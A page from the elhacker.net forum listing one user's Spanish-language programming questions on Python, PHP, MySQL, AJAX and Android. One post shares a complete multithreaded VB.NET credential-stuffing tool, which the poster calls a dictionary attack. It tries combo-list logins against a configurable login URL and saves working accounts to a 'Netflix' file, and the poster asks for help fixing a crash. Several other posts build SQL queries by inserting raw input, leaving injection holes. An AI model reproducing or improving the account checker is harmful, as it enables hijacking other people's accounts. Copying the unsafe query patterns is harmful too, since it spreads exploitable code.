elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12
1  Programación / Scripting / numero consecutivo python en: 31 Mayo 2020, 21:38 pm
podrian ayudarme porfavor
Código:
['7111', '7112', 7114, 7115, 7116, 7117, 7118, 7119, 7121, 7123, 7124, 7125, 7127, 7128, 7129, 7130, 7131, 7132, 7133, 7134, 7135, 7136, 7137, 7138, 7140, 7141, 7142, 7143, 7144, 7145, 7146, 7149, 7150, 7151, 7152, 7153, 7154, 7155, 7156, 7157, 7158, 7159, 7160, 7161, 7163, 7165, 7166, 7167, 7168, 7170, 7171, 7172, 7173, 7176, 7177, 7178, 7179, 7180, 7184, 7185, 7186, 7187, 7188, 7189, 7190, 7191, 7192, 7193, 7194, 7195, 7196, 7197, 7198, 7199, 7200, 7201, 7202]
tengo esta lista de numeros podrian darme una idea para que se agregen los numeros que faltan
ejemplo
'7111', '7112','7113', '7114',


gracias
2  Programación / PHP / concatenar array en php en: 14 Mayo 2020, 15:51 pm
alguien me puede ayudar en esto

Código:
arr = ['66', '59', '07/05/2', '020', '07:13', 'a.m.', '135.00 - - 135.00', '66', '61', '07/05/2', '020', '07:15', 'a.m.', '120.00 - - 120.00', '66', '62', '07/05/2', '020', '07:31', 'a.m.', '75.00 - - 75.00', '66', '64', '07/05/2', '020', '07:41', 'a.m.', '60.00 - - 60.00', '66', '65', '07/05/2', '020', '07:44', 'a.m.', '45.00 - - 45.00', '66', '66', '07/05/2', '020', '07:54', 'a.m.', '65.00 - - 65.00', '66', '67', '07/05/2', '020', '08:03', 'a.m.', '90.00 - - 90.00', '66', '68', '07/05/2', '020', '08:06', 'a.m.', '135.00 - - 135.00', '66', '70', '07/05/2', '020', '08:10', 'a.m.', '95.00 - - 95.00', '66', '71', '07/05/2', '020', '08:15', 'a.m.', '0.00 - - 0.00', '66', '72', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '73', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '74', '07/05/2', '020', '08:21', 'a.m.', '85.00 - - 85.00', '66', '75', '07/05/2', '020', '08:26', 'a.m.', '0.00 - - 0.00', '66', '77', '07/05/2', '020', '08:30', 'a.m.', '240.00 - - 240.00', '66', '78', '07/05/2', '020', '08:43', 'a.m.', '45.00 - - 45.00', '66', '79', '07/05/2', '020', '08:44', 'a.m.', '145.00 - - 145.00', '66', '80', '07/05/2', '020', '08:45', 'a.m.', '250.00 - - 250.00', '66', '81', '07/05/2', '020', '08:51', 'a.m.', '45.00 - - 45.00', '66', '82', '07/05/2', '020', '08:54', 'a.m.', '190.00 - - 190.00', '66', '84', '07/05/2', '020', '08:56', 'a.m.', '120.00 - - 120.00', '66', '85', '07/05/2', '020', '08:57', 'a.m.', '170.00 - - 170.00', '66', '86', '07/05/2', '020', '08:59', 'a.m.', '30.00 - - 30.00', '66', '87', '07/05/2', '020', '09:02', 'a.m.', '140.00 - - 140.00', '66', '88', '07/05/2', '020', '09:02', 'a.m.', '175.00 - - 175.00', '66', '89', '07/05/2', '020', '09:16', 'a.m.', '125.00 - - 125.00', '66', '90', '07/05/2', '020', '09:18', 'a.m.', '105.00 - - 105.00', '66', '91', '07/05/2', '020', '09:25', 'a.m.', '75.00 - - 75.00', '66', '92', '07/05/2', '020', '09:27', 'a.m.', '75.00 - - 75.00', '66', '94', '07/05/2', '020', '09:28', 'a.m.', '145.00 - - 145.00', '66', '95', '07/05/2', '020', '09:29', 'a.m.', '100.00 - - 100.00', '66', '97', '07/05/2', '020', '09:31', 'a.m.', '145.00 - - 145.00', '66', '98', '07/05/2', '020', '09:30', 'a.m.', '135.00 - - 135.00', '66', '99', '07/05/2', '020', '09:44', 'a.m.', '30.00 - - 30.00', '67', '01', '07/05/2', '020', '09:47', 'a.m.', '35.00 - - 35.00', '67', '02', '07/05/2', '020', '09:47', 'a.m.', '75.00 - - 75.00', '67', '03', '07/05/2', '020', '09:49', 'a.m.', '320.00 - - 320.00', '67', '04', '07/05/2', '020', '09:48', 'a.m.', '125.00 - - 125.00', '67', '05', '07/05/2', '020', '09:51', 'a.m.', '25.00 - - 25.00', '67', '07', '07/05/2', '020', '09:54', 'a.m.', '150.00 - - 150.00', '67', '08', '07/05/2', '020', '09:55', 'a.m.', '45.00 - - 45.00', '67', '09', '07/05/2', '020', '09:57', 'a.m.', '45.00 - - 45.00', '67', '10', '07/05/2', '020', '10:08', 'a.m.', '150.00 - - 150.00', '67', '13', '07/05/2', '020', '10:16', 'a.m.', '130.00 - - 130.00', '67', '14', '07/05/2', '020', '10:17', 'a.m.', '75.00 - - 75.00', '67', '15', '07/05/2', '020', '10:18', 'a.m.', '100.00 - - 100.00', '67', '16', '07/05/2', '020', '10:20', 'a.m.', '125.00 - - 125.00', '67', '18', '07/05/2', '020', '10:20', 'a.m.', '185.00 - - 185.00', '67', '19', '07/05/2', '020', '10:22', 'a.m.', '60.00 - - 60.00', '67', '21', '07/05/2', '020', '10:31', 'a.m.', '60.00 - - 60.00', '67', '23', '07/05/2', '020', '10:44', 'a.m.', '140.00 - - 140.00', '67', '24', '07/05/2', '020', '10:47', 'a.m.', '400.00 - - 400.00', '67', '26', '07/05/2', '020', '10:55', 'a.m.', '80.00 - - 80.00', '67', '28', '07/05/2', '020', '10:59', 'a.m.', '75.00 - - 75.00', '67', '29', '07/05/2', '020', '11:00', 'a.m.', '150.00 - - 150.00', '67', '32', '07/05/2', '020', '11:18', 'a.m.', '0.00 - - 0.00', '67', '33', '07/05/2', '020', '11:32', 'a.m.', '115.00 - - 115.00', '67', '34', '07/05/2', '020', '11:44', 'a.m.', '85.00 - - 85.00', '67', '35', '07/05/2', '020', '11:51', 'a.m.', '40.00 - - 40.00', '67', '36', '07/05/2', '020', '11:54', 'a.m.', '170.00 - - 170.00', '67', '37', '07/05/2', '020', '12:11', 'p.m.', '0.00 - - 0.00', '67', '38', '07/05/2', '020', '12:11', 'p.m.', '140.00 - - 140.00', '67', '39', '07/05/2', '020', '12:16', 'p.m.', '90.00 - - 90.00', '67', '41', '07/05/2', '020', '12:23', 'p.m.', '70.00 - - 70.00', '67', '42', '07/05/2', '020', '12:26', 'p.m.', '50.00 - - 50.00', '67', '45', '07/05/2', '020', '12:25', 'p.m.', '65.00 - - 65.00', '67', '46', '07/05/2', '020', '12:28', 'p.m.', '60.00 - - 60.00', '67', '47', '07/05/2', '020', '12:31', 'p.m.', '60.00 - - 60.00', '67', '49', '07/05/2', '020', '12:37', 'p.m.', '45.00 - - 45.00', '67', '50', '07/05/2', '020', '12:38', 'p.m.', '20.00 - - 20.00', '67', '51', '07/05/2', '020', '12:39', 'p.m.', '60.00 - - 60.00', '67', '52', '07/05/2', '020', '12:44', 'p.m.', '75.00 - - 75.00', '67', '53', '07/05/2', '020', '12:46', 'p.m.', '40.00 - - 40.00', '67', '54', '07/05/2', '020', '12:54', 'p.m.', '100.00 - - 100.00', '67', '55', '07/05/2', '020', '12:56', 'p.m.', '65.00 - - 65.00', '67', '56', '07/05/2', '020', '01:01', 'p.m.', '60.00 - - 60.00', '67', '57', '07/05/2', '020', '01:03', 'p.m.', '45.00 - - 45.00', '67', '58', '07/05/2', '020', '01:04', 'p.m.', '130.00 - - 130.00', '67', '59', '07/05/2', '020', '01:14', 'p.m.', '240.00 - - 240.00', '67', '60', '07/05/2', '020', '01:20', 'p.m.', '90.00 - - 90.00', '67', '61', '07/05/2', '020', '01:20', 'p.m.', '15.00 - - 15.00', '67', '62', '07/05/2', '020', '01:21', 'p.m.', '75.00 - - 75.00', '67', '63', '07/05/2', '020', '01:36', 'p.m.', '30.00 - - 30.00', '67', '64', '07/05/2', '020', '01:41', 'p.m.', '40.00 - - 40.00', '67', '65', '07/05/2', '020', '01:43', 'p.m.', '60.00 - - 60.00', '67', '66', '07/05/2', '020', '01:53', 'p.m.', '65.00 - - 65.00', '67', '67', '07/05/2', '020', '01:58', 'p.m.', '155.00 - - 155.00', 'Tickets: 87 8295 - - 8,295.00', 'Totals', 'Efectivo 1,584.00', 'Tarjeta de Cr\xc3\xa9dito 0.00', 'Ingresos Efectivo 510.00', 'Ingresos Tarjeta de Cr\xc3\xa9dito 0.00', 'Gastos Total 7,221.00', 'Gastos Tarjeta de Cr\xc3\xa9dito 0.00', 'Total de Efectivo en Gaveta -6,711.00']

tengo este array pero mi duda es como puedo concatenar los 2 primeros elementos cada 6
a que me refiero a estos  66', '59'  66', '59'  '66', '62' y asi susecivamente si alguien pudiera ayduarme gracias
3  Programación / Scripting / concatenar items dependiendo condicion python en: 7 Mayo 2020, 23:36 pm
buenas tardes tengo un problema,espero me puedan ayudar

mi problema es este, mylines1 es mi lista como ven la recorro con ciclos for y borro el espacio en blanco del final,bueno  me genera la lista de esta forma


Código:
sb=myline.rsplit(" ",1)
mylines1.append(sb)
for a in mylines1:
    for b in a:
          mylines11.append(b)

for index, i in enumerate(mylines11):
    for x in range(1,200):
        if "Transacciones" in i:
            try:
                t1=re.search("(Ingresos.*)",mylines11[index+x])
            except:pass
            if not (t1) :
               
                reporte2=mylines11[index+x]
                reporte1.append(reporte2)
                print reporte2
            else:
                break


Código:
Gastos


06/05/20


20


01:37:30


p.m.


[RAYA]
2050.00


06/05/20


20


01:37:42


p.m.


[RENTA]
100.00


06/05/20


20


01:37:53


p.m.


[REPARTIDOR]
220.00


06/05/20


20


01:38:12


p.m.


[TORTILLAS]
310.00


06/05/20


20


01:39:05


p.m.


[FRUTERIA
(ABONO


NOTA
MAY-3)]


200.00


06/05/20


20


01:39:58


p.m.


[QUESO
(ABONO


NOTA
MAY-1)]


200.00


06/05/20


20


01:41:32


p.m.


[GMC]
200.00


06/05/20


20


01:41:42


p.m.


[IMSS]
200.00


06/05/20


20


01:42:00


p.m.


[PEPSI]
382.00


06/05/20


20


01:42:12


p.m.


[MARLIN]
350.00


06/05/20


20


[OXXO]
31.00


01:42:28


p.m.


06/05/20


20


01:45:02


p.m.


[GAS
CILINDRO


(COMPLEMENTO)]


350.00


06/05/20


20


01:45:50


p.m.


[CHILE (ABONO)]
200.00


06/05/20


20


02:08:59


p.m.


[CARNE]
2000.00


Total
6,793.00


Tarjeta de Crédito
0.00


Total de Efectivo y Tarjetas
6,793.00



lo que quiero hacer es esto
Código:
[GAS
CILINDRO


(COMPLEMENTO)]
los que estan entre corchetes unirlos en uno solo dentro del list se que existe join pero no me doy una idea podrian hecharme la mano porfavor
4  Programación / Bases de Datos / consulta mysql no me da suma total en: 7 Mayo 2020, 01:36 am
Código
  1. SELECT DISTINCT (SELECT COUNT(cobranza.Id_Solicitud) FROM cobranza WHERE cobranza.Id_Solicitud=solicitud.Id_Solicitud AND Id_Tipo_Movimiento=2 AND BandEliminar=1) AS cuenta1 ,(SELECT SUM(solicitud.saldo) FROM solicitud ) AS cuenta2,DATE(Fecha_Proximo_Pago) AS fechaproximo,CURDATE(),DATEDIFF( CURDATE(),Fecha_Proximo_Pago) AS fecharesta ,
  2.  
  3. (SELECT IF(fecharesta <0, solicitud.saldo, 0))AS figura
  4.  
  5.  
  6.  
  7. FROM solicitud

alguien podria darme una idea para que me de la suma total de los saldos que cumplan con la condicion menor a 0 si agrego un sum al if me da la suma pero de todos los saldos y yo solo necesito la suma de la condicion,gracias de antemano
5  Programación / Bases de Datos / multiples registros solo necesito uno en: 16 Septiembre 2019, 03:24 am
buenas podrian darme una idea para que solo muestre el ultimo registro en vez de todos?, gracias

Código
  1. SELECT central.sucursal AS numero, t_sucursales.nombre_suc, central.fecha, central.inventario FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE 
  2. 		(
  3. 				MONTH(central.fecha)  LIKE  '%". $mes ."%' 
  4. 				AND YEAR(central.fecha)  LIKE  '%". $año ."%' 
  5. 				AND t_sucursales.numerosucursal  LIKE  '%". $numerosucursal ."%' 
  6. 				AND t_sucursales.nombre_suc LIKE  '%". $nombresursal ."%' 
  7. 			    )

Mod: Temas sobre Bases de Datos van al subforo de Bases de Datos.
6  Programación / Bases de Datos / problema consulta filtro multiple en: 15 Septiembre 2019, 05:34 am
buenas podrian ayudarme con esta consulta

Código
  1. SELECT central.sucursal AS numero, t_sucursales.nombre_suc, central.fecha, central.regalias FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE(MONTH(central.fecha) = '$mes' AND YEAR(central.fecha) = '$año'" and t_sucursales.numerosucursal = '$numerosucursal' )
  2.  
  3. or MONTH(central.fecha) = '$mes'
  4.  
  5. and YEAR(central.fecha) = '$año'
  6.  
  7. or t_sucursales.numerosucursal = '$numerosucursal'

como podria hacer que por ejemplo si se cumple la primera condicion de mes año y sucursal realize filtro y si no haga la de mes y año o sucursal ,gracias


Mod: Temas sobre Bases de Datos, van al subforo de Base de Datos.
7  Programación / PHP / ajax update modal en: 1 Septiembre 2019, 19:50 pm
buenos dias,tardes,noches pudieran ayudarme con esto porfavor

tengo esto en mi clase clase_user.php
Código:
function update ($id,$nombre,$apellido,$oficio){

	$update=$this->bd->query("UPDATE clientes set nombre='$nombre',apellido='$apellido',oficio='$oficio' where id='$id'");
     $afectados=$this->bd->affected_rows;
     return $afectados;
	}

en mi js llamado guardar.js tengo esto

Código:
function modificar (){
       
    var parametros= $('#datos').serialize(); 
    
    $.ajax({
        data: parametros,
        url:  'ajax/modificar.php',
        type: 'post',
        success: function (response){
         $('#respuesta').html(response)
        
         cargar();

        }


    });

          }

en mi archivo modificar tengo esto

Código:
<?php 
include_once '../config/clase_user.php';


$usuarios= new usuarios();




$caja=$usuarios->update($_POST['nombre'],$_POST['apellidos'],$_POST['oficio']);
if ($caja==1) {

	echo"CONEXION EXITOSA";
}else {
	echo"Ract FALLIDO";
}



 ?>



en mi vista tengo esto

Código:
<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="css/style.css">

    <title>Hello, world!</title>
  </head>
  <body onload="cargar()">
  <?php  
 
  ?>
     <div id="respuesta"></div>
  <form id="datos" autocomplete="off">
  <div class="form-group">
    
    <label>Nombre</label>
    <input type="text" class="form-control" id="nombre" name="nombre"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Apellidos</label>
    <input type="text" class="form-control" id="apellidos" name="apellidos"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Oficio</label>
    <input type="text" class="form-control" id="oficio" name="oficio"  placeholder="Name" >
  </div>


  <button type="button" onclick="guardar()" class="btn btn-dark">Enviar</button>

</form>
     <table class="posclas table">
  <thead class="thead-dark">
    <tr>
      <th scope="col">Nombre</th>
      <th scope="col">Apellido</th>
      <th scope="col">Oficio</th>
   
    </tr>
  </thead>
  <tbody id="cargar">
    
    
  </tbody>
</table>

<div class="modal fade" id="modalEdicion" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">

  <div class="modal-dialog modal-sm" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Actualizar datos</h4>
      </div>
      <div class="modal-body">
          <input type="text" id="id" name="id">
          <label>Nombre</label>
          <input type="text" name="nombre" id="nombre" class="form-control input-sm">
          
          <label>apellidos</label>
          <input type="text" name="apellidos" id="apellidos" class="form-control input-sm">
<label>oficio</label>

          <input type="text"  name="oficio" id="oficio" class="form-control input-sm">
          
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-warning" onclick="modificar()" id="actualizadatos" data-dismiss="modal">Actualizar</button>
        
      </div>
    </div>
  </div>
</div>
    

    <!-- Optional javascript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script type="text/javascript" src="js/jquery-3.4.1.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    <script type="text/javascript" src="js/guardar.js"></script>
  </body>
</html>


mi pregunta es como podria pasar esos valores al modal que viene ahi adentro por mas que trato no puedo comprender esta parte en ajax,gracias
8  Programación / Programación General / threads crash riched20.dll vb net en: 9 Marzo 2019, 05:21 am
 esto es un diccionary attack  pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll  ,les agradeceria mucho que me pudieran apoyar en este error
Código:
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet


Public Class Form1

    Private dragging As Boolean
    Private offset As Point
    Dim date1 As String
    Public int_0 As Integer
    Public int_1 As Integer
    Public int_2 As Integer
    Public int_3 As Integer
    Public int_4 As Integer
    Public int_5 As Integer
    Public int_6 As Integer
    Public int_7 As Integer
    Public object_0 As Object = New Object
    Private point_0 As Point
    ' Public proxyType_0 As ProxyType
    Public queue_0 As Queue
    Public random_0 As Random = New Random
    Public string_0 As String()
    Public string_1 As String()
    Public string_2 As String() = New String(0 - 1) {}
    Public string_3 As String() = New String(0 - 1) {}
    Private string_5 As String = ""
    Public thread_0 As Thread()
    Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
    Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
    Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
    Public Sub New()
        Me.InitializeComponent()
        Control.CheckForIllegalCrossThreadCalls = False
        ' Me.text_proxyType.SelectedIndex = 0
        Me.NumericUpDown1.Value = 100
        RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
    End Sub
    Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
        Me.dragging = True
        Me.offset = e.Location
    End Sub

    Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
        If Me.dragging Then
            Dim point As Point = MyBase.PointToScreen(e.Location)
            MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
            Cursor.Current = Cursors.NoMove2D
        End If
    End Sub

    Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
        Me.dragging = False
    End Sub
    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim CP As CreateParams = MyBase.CreateParams
            CP.Style = &HA0000
            Return CP
        End Get
    End Property

    Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
        End
    End Sub

    Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
        WindowState = FormWindowState.Minimized
    End Sub
    Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
        MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Using dialog As OpenFileDialog = New OpenFileDialog
            dialog.Filter = "Text files | * .txt"
            If (dialog.ShowDialog = DialogResult.OK) Then
                Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
                Me.int_1 = Me.string_1.Length
                Me.MetroLabel_1554.Text = Me.int_1.ToString
            End If
        End Using
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

        Using dialog As OpenFileDialog = New OpenFileDialog
            dialog.Filter = "Text files | * .txt"
            If (dialog.ShowDialog = DialogResult.OK) Then
                Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
                Me.int_0 = Me.string_0.Length
                Me.int_6 = Me.int_0
                Me.MetroLabel_1555.Text = Me.int_0.ToString
            End If
        End Using
    End Sub
    Public Sub method_5()

        ' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
        While Me.queue_0.Count > 0
            Dim obj As Object = Me.object_0
            Dim flag As Boolean = False
            Dim obj2 As Object
            Dim text As String
            Try
                Dim expr_29 As Object = obj
                obj2 = expr_29
                Monitor.Enter(expr_29, flag)
                Try
                    text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
                    Me.queue_0.Dequeue()
                Catch ex As Exception

                End Try

            Finally
                If flag Then
                    Monitor.[Exit](obj2)
                End If
            End Try
            Dim array As String() = text.Split(New Char() {":"c})
            Try

                Using httpRequest As HttpRequest = New HttpRequest()
                    '  httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
                    Dim cookies As CookieDictionary = New CookieDictionary(False)
                    httpRequest.Cookies = cookies
                    httpRequest.IgnoreProtocolErrors = True
                    httpRequest.ConnectTimeout = TextBox6.Text '25000
                    httpRequest.AllowAutoRedirect = True
                    httpRequest.KeepAlive = True
                    httpRequest.UserAgent = Http.ChromeUserAgent()
                    httpRequest.Referer = TextBox2.Text
                    httpRequest.KeepAliveTimeout = TextBox7.Text

                    ' 
                    'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
                    Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
                    ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
                    httpRequest.AddParam(TextBox4.Text, array(0))
                    httpRequest.AddParam(TextBox5.Text, array(1))

                    Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
                    RichTextBox2.Text = text2
                    If text2.Contains(TextBox3.Text) Then
                        Dim str As String
                        If text2.Contains(TextBox3.Text) Then
                            str = "cuenta"
                        Else
                            str = "_"
                        End If
                        obj = Me.object_0
                        Dim flag2 As Boolean = False
                        Try
                            Dim expr_222 As Object = obj
                            obj2 = expr_222
                            Monitor.Enter(expr_222, flag2)
                            System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
                            Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
                            Me.int_2 += 1
                            Me.int_5 += 1
                            Me.int_6 -= 1
                            Continue While
                        Finally
                            If flag2 Then
                                Monitor.[Exit](obj2)
                            End If
                        End Try
                    End If
                    obj = Me.object_0
                    Dim flag3 As Boolean = False
                    Try
                        Dim expr_29E As Object = obj
                        obj2 = expr_29E
                        Monitor.Enter(expr_29E, flag3)
                        Me.int_3 += 1
                    Finally
                        If flag3 Then
                            Monitor.[Exit](obj2)
                        End If
                    End Try
                    Me.int_5 += 1
                    Me.int_6 -= 1
                End Using
            Catch
                Me.int_7 += 1
                Me.queue_0.Enqueue(text)
                '  proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
            End Try
        End While
        If Me.int_5 = Me.int_0 Then
            Me.method_6()
        End If
    End Sub

    Public Sub method_6()
        For i As Integer = 0 To Me.int_4 - 1
            Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
            Me.thread_0(i).IsBackground = True
            Me.thread_0(i).Abort()
        Next
    End Sub
    Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
        On Error Resume Next
        Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
    End Function
    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
        Dim num As Integer = 100
        Try
            num = Integer.Parse(Me.TextBox1.Text)
        Catch obj1 As Exception
        End Try
        Me.NumericUpDown1.Value = num
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Me.MetroLabel_1558.Text = Me.int_2.ToString
        Me.MetroLabel_1556.Text = Me.int_3.ToString
        Me.Label9.Text = Me.int_5.ToString
        '    Me.Label9.Text = Me.int_7.ToString
        If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
            Me.RichTextBox1.Lines = Me.string_2
        End If
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Try
            Directory.CreateDirectory(String.Concat("Netflix\"))
            If Me.int_0 = 0 Then
                MessageBox.Show("Load Accounts.")
                '  ElseIf Me.int_1 = 0 Then
                '     MessageBox.Show("Load Proxies.")
            Else
                ' Select Case Me.text_proxyType.SelectedIndex
                ' Case 0
                'Me.proxyType_0 = ProxyType.Http
                'Case 1
                'Me.proxyType_0 = ProxyType.Socks4
                'Case 2
                'Me.proxyType_0 = ProxyType.Socks5
                'Case Else
                'MessageBox.Show("Choose Proxy type")
                'Return
                'End Select
                Me.int_2 = 0
                Me.int_3 = 0
                Me.string_2 = Nothing
                Me.string_3 = Nothing
                Me.int_5 = 0
                Me.int_7 = 0
                Me.int_6 = Me.int_0
                Me.queue_0 = New Queue()

                For i As Integer = 0 To Me.int_0 - 1
                    Me.queue_0.Enqueue(Me.string_0(i))
                Next
                Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
                Me.thread_0 = New Thread(Me.int_4 - 1) {}
                For j As Integer = 0 To Me.int_4 - 1
                    Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
                    Me.thread_0(j).IsBackground = True
                    Me.thread_0(j).Start()
                Next
                Me.Timer1.Enabled = True
            End If
        Catch ex As Exception

        End Try

    End Sub

    Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
        Try
            RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
        Catch ex As Exception

        End Try
    End Sub

    Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click

    End Sub
End Class
9  Programación / Java / jsoup android problema en: 13 Febrero 2019, 19:39 pm
buenos dias,podrian ayudarme con este problema

Código
  1. try {
  2. Document doc = Jsoup.connect("http://192.168.1.238/gfx/nuevacarpeta/index.php").get();
  3.  
  4. Element elem = doc.getElementById("llanta1");
  5. String apre = elem.attr("value");
  6.  
  7.  
  8. textView1.setText(apre);
  9.  
  10. String cadena = textView1.getText().toString();
  11.  
  12. int num1 = Integer.parseInt(cadena);
  13.  
  14. Toast.makeText(this, num1 Toast.LENGTH_SHORT).show();
  15. }
  16. catch (IOException e) {
  17. e.printStackTrace();
  18. }
  19.  

el problema esta en que cuando muestro el texto extraido por jsoup en un textview si me lo muestra,pero intento convertirlo a entero y tratar de mostrarlo o usarlo en un if y se crashea,les agradecería mucho la ayuda.

MOD: Etiqueta GeSHi.
10  Programación / Programación General / automatizar programa en: 5 Febrero 2019, 04:25 am
buenas ,alguien sabe como automatizar un programa necesito que realize algunas acciones,lamentablemente su api no funciona del todo bien,alguien sabe alguna alternativa a las macros o imagesearch(o si alguien sabe alguna forma de mejorar el imagesearch)
solo necesito ideas
gracias
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines